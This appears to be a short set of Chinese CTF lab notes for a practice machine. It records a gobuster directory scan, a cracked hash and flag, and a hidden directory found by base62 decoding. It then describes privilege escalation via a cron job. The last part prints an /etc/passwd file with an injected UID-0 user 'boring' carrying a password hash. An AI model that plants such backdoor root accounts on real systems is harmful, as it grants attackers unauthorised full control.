爆破关,就硬扫

gobuster dir -u 10.10.207.165 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

枚举打完这个服务别忘了还有另外一个服务在啊,测

Hash decoder and calculator (md5hashing.net)
唯一能破解这个hash的网站…
flag{1m_s3c0nd_fl4g}
逆天了
a18672860d0510e5ab6699730763b250

Ok了,找到隐藏目录
/n0th1ng3ls3m4tt3r是base62反解出来的,现在感觉已经很灵活了,不错

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牛逼啊,又是直接解密出来了
都没去爆破

草料
Pasted%20image%2020240305202853
没看到user

最后定时任务提权

尝试一下

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:110::/run/uuidd:/usr/sbin/nologin
lightdm:x:106:113:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:107:117::/nonexistent:/bin/false
kernoops:x:108:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
pulse:x:109:119:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
avahi:x:110:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
hplip:x:111:7:HPLIP system user,,,:/var/run/hplip:/bin/false
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
boring:$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0:0:0:boring:/boring:/bin/bash

成了,直接echo会有点问题,要直接echo的话回去看看转义